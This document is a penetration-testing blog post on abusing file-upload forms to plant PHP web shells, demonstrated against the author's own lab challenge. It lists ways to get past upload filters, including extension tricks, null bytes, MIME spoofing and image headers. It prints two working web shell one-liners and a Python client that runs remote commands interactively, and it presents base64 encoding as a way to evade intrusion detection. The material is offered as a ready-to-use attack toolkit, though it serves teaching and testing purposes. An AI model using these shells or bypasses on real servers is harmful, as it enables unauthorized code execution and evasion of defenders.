This blog post will be introducing the Whopper, and not the juicy beef burger from Burger King, the simple web shell one liner.  Uploading web shells to a web application is a lot of fun; nothing is more gratifying than trying to figure out how to abuse a feature and finally landing a shell.  The process of trying to use technology in unexpected and unique ways to accomplish cool stuff, like execute code, is hacking in its purest form.  It feels so rewarding to type in “id” and see the proper response displayed back on STDOUT.  This blog post will demonstrate a proof of concept PHP web shell and Python client.  I hope to go over a few tips and tricks for getting code up on a server, and show just how easy it is to write a quick web shell.

File Upload Feature Abuse – Tips and Tricks:

Whenever I think of feature abuse with web applications, as in cases when attempting to abuse file upload features to upload malicious code, I always test the feature with the expected input.  By testing the feature with expected input I can see how the server is supposed to respond to valid requests and it helps me troubleshoot my exploitation of the feature.  Some additional things to consider when attempting to upload a web shell to a server:

  • Closely inspect all parameters and areas of the request that may accept user input “Injection Points”
  • What types of controls are in place?  JavaScript, Potential server side checks?
  • Closely inspect any error messages as they may be helpful in troubleshooting your abuse of the feature.
  • Where are these files stored on the web application?  This is important so you can later attempt invoke the file you uploaded, and hopefully execute code
  • Is there a file size limit?  Being able to upload mass amount of data could cause a Denial of Service (DoS) and may also be worth making note in the report.
  • What type of files does the web application expect?
  • What type(s) of file extensions does the web application accept?
  • What type of technology is the server using?  This will help you choose the right type of web shell (PHP, ASP.NET, JSP, etc.)
  • If the file extension is restricted, can you fiddle with this to bypass the control (Example: shell.php.jpg, or shell.php., shell.PhP,, shell.php%00, etc.) this may allow you to bypass the control in place.
  • Does the server use client-side checks to prevent malicious file uploads?  Bypass with a proxy.
  • Does the server rely on any user controlled data for a control?  (Example: MIME type, some applications check the MIME type to see if it’s an image file or server side code like PHP.  This can be easily modified by an attacker so they can bypass the control to upload the shell)
  • Does the server check the file header to validate file type?  This could be bypassed because you can shovel your code snippet into a file with a proper header for an image and a proper extension and the server may still run your code!
  • Are there any technology specific vulnerabilities that may allow for web shell upload?  Research all enumerated technologies and versions for any known flaws.

To summarize this process, I like to say I look at all the details associated with a file upload and fiddle with the input by checking to see what is expected and seeing what I can modify to cause a different action.  It should be noted that any other features may aid in landing a web shell, even a search feature could have a SQL Injection (SQLi) vulnerability that could be leveraged to land a shell.  For the scope of this blog post we are just sticking to file upload features.

Whopper Web Shell:

Whopper earned its name as it resembled the network traffic associated with the “Chopper” web shell which used Base64 encoding to help evade detection.  To interact with the web shell we will use Python.  Web shells are essentially files on an application that take input and will often execute it as code or a command.  When interacting with a web shell it is a best practice to encode your C2 to help avoid detection.  Base64 and XOR encoding are quite popular techniques, but there are many different techniques.

For those who are new to web shells, let’s first examine a very simple example that doesn’t leverage any form of encoding.  The code snippet below represents one of the simpler web shell examples:

<?php echo system($_POST['cmd']); ?>

This one-liner uses the “system()” function to execute an OS command passed in as a string via a POST parameter “cmd”.  In PHP there are many different functions that could be used to make a web shell (system, shell_exec, eval, passthru, etc.).  This well shell will send in commands like “cmd=id” and the output will be sent in cleartext “uid=33(www-data) gid=33(www-data) groups=33(www-data)”.  This type of C2 would be likely to flag many IDS rules as you begin to interact with the web shell.  To get around this you can encode your input/output.

The Whopper web shell will use base64 to encode commands, and sends back a base64 encoded responses.  Python will be used to make a quick and dirty client to interact with the web shell.  First let’s examine the PHP 1-liner:

Whopper Web Shell PHP code:

 <?php $c=shell_exec(base64_decode($_POST['whopper'])); echo base64_encode($c);?>

Having a quick web shell 1-liner is very useful because you can shovel it into file uploads, and other areas in the web application that may end up storing the data on the web server.  This web shell grabs the “whopper” variable from a POST request via “$_POST

[‘whopper’]”, attempts to base64 decode the string via “base64_decode()”, and then executes the string as a command via “shell_exec()”.  The output of the command is stored in a variable “$c”, and later sent back to the client based64 encoded via “echo base64_encode($c)”.  So this little code snippet allows an attacker to send in encoded commands, and get back encoded command output.

Now to interact with this you could manually encode/decode your input and output, but that would really end up being a pain.  Python can be leveraged to make this process seamless and feel like a raw shell on the web server.  Below is a quick snippet of code to build the Python client:

Whopper Python Client:


import sys
import requests
import base64

url = sys.argv[1]
print "[+] Connecting to whopper shell..."

while True:
    comm = raw_input("~$ ")
    encoded = base64.b64encode(comm)
    headers = {'user-agent':'Mozilla/4.0'}
    proxy = {'http':''}
    data = {'whopper':encoded}
    r=requests.post(url, headers=headers, proxies=proxy, data=data)
    print base64.b64decode(r.text)

Let’s break down this code line by line.  Line (7) creates a variable “url” which will contain a string passed in as a CLI argument with the sys module.  This script is designed to be invoked via “python whopper_client.py http://vuln_web/whopper.php”, which will make the “url” variable point to the string “http://vuln_web/whopper.php”.  Line (10) creates an endless while loop that will continue to execute code in the body of the loop until the process is killed.  (11) Displays “~$ “, and prompts the user for input via the “raw_input()” method.  This makes the client feel like a raw shell on the target system.  Line (12) encodes the string pointed to by the “comm” variable which contains the input the user passed at the CLI.  Line (13) sets up the dictionary “headers” which will store the value for our User-Agent string.  Line (14) we setup a dictionary to contain the values of our proxy this will allow our script to pass the request through our burp proxy.  Next at line (15) we make a dictionary called “data” which contains key of “whopper” and value of the encoded command.  The two dictionaries are then passed in the body of the request using the Python “requests” module at line (16).  Finally, line (17) base64 decodes the server response and prints it to STDOUT.

Let’s take a look at this code in action, but first we’ll need to the code up on the server.  To do that we will explore a custom file upload challenge that I created to demonstrate some common controls one might encounter during a pentest.

File Upload Feature Abuse:
To demonstrate this vulnerability I tossed together a quick example using HTML/JavaScript/PHP.  Below we see it allows for a user to upload an image file to the system.  Let’s upload a file using the expected input so we can see all the details associated with the file upload form submission:

By inspecting the source code we can see there are some checks for file extension, which can be bypassed in many ways.  Client-side controls may help control what a normal user uploads, but not an attacker.


Next the application is kind enough to communicate that it stores the uploaded file in “/upload/” directory.  This is a key bit of information because we need to know where the file is on the application in order to run our code.

Armed with the knowledge of the expected input, along with some controls we can start to play around with the input to get our code on the server.  Since we know there is a client-side JavaScript control to bypass we will just go to our Burp Proxy history tab and toss our upload POST request to Burp’s repeater.  By making the request using our proxy we can bypass the client-side JavaScript controls.

Now let’s fire off the request placing in PHP code instead of the image file.  The error says “Only Jpegs are allowed”, so we know there must be some additional checks to play with.  We also notice that there is some sort of server side check for the file extension so we can attempt to upload “whopper.php.jpg” with the hopes of bypassing the check and still having the application render the file as PHP code.


Okay so lets turn back to the details of the file upload and modify another field to see how the server responds.  We can modify the MIME type since many web developers leverage this to check for file types and may be using it as a control.  Luckily, for us the MIME type header is something we control, so we can modify this value and fire it over and it shouldn’t impact the actual file type on the server.


W00tw00t, it seems we have uploaded the file with our code!


Now lets see if we can execute commands:


As you can see above it feels like a raw shell on the victim web server.  Let’s now take a peek at the network traffic between the client and victim web server:


What’s interesting about the request is the encoded “whopper” parameter.  If we decode that string we will see it’s the first command that was typed into the web shell “id”:

~$ echo 'aWQ=' | base64 -d

One thing you might notice is that “=” character was URL encoded when sent in the body of the request as “%3D”.  This doesn’t impact the PHP web shell, but it would mess up the little bit of bash-fu we did to decode the string.  Now if we decode the server response string we will see the expected command output:

~$ echo 'dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK' | base64 -d

uid=33(www-data) gid=33(www-data) groups=33(www-data)

By encoding both the command and output between the client and victim web server we drastically decrease our chances of being detected.  Now I am sure any pcap ninja is about to go full blown Office Space on their computer because they know they’d slice and dice that out of pcap before their mind could process what they were doing.


This does help bypass many IDS rules and less skilled network analysts, and serves as a good proof of concept that the reader can later improve on for their own situations.  This web shell/client wont work in every situation, but the goal of this post was to arm readers with knowledge of the general process and the basics of web shells/python interaction.

The next step would be to explore your access to the web application to extract useful data and attempt to escalate privileges.  Keep in mind that having a web shell is not the same as terminal access to the system.  Web shells, reverse shells, and various other shell access to victim systems will likely have limitations, many commands that prompt the user for input don’t work.  We have a blog post that covers this concept in a little more detail here.  Post-exploitation techniques will be explored further in future blog posts, for now I hope you’ve learned a little bit about web shells, PHP, and Python.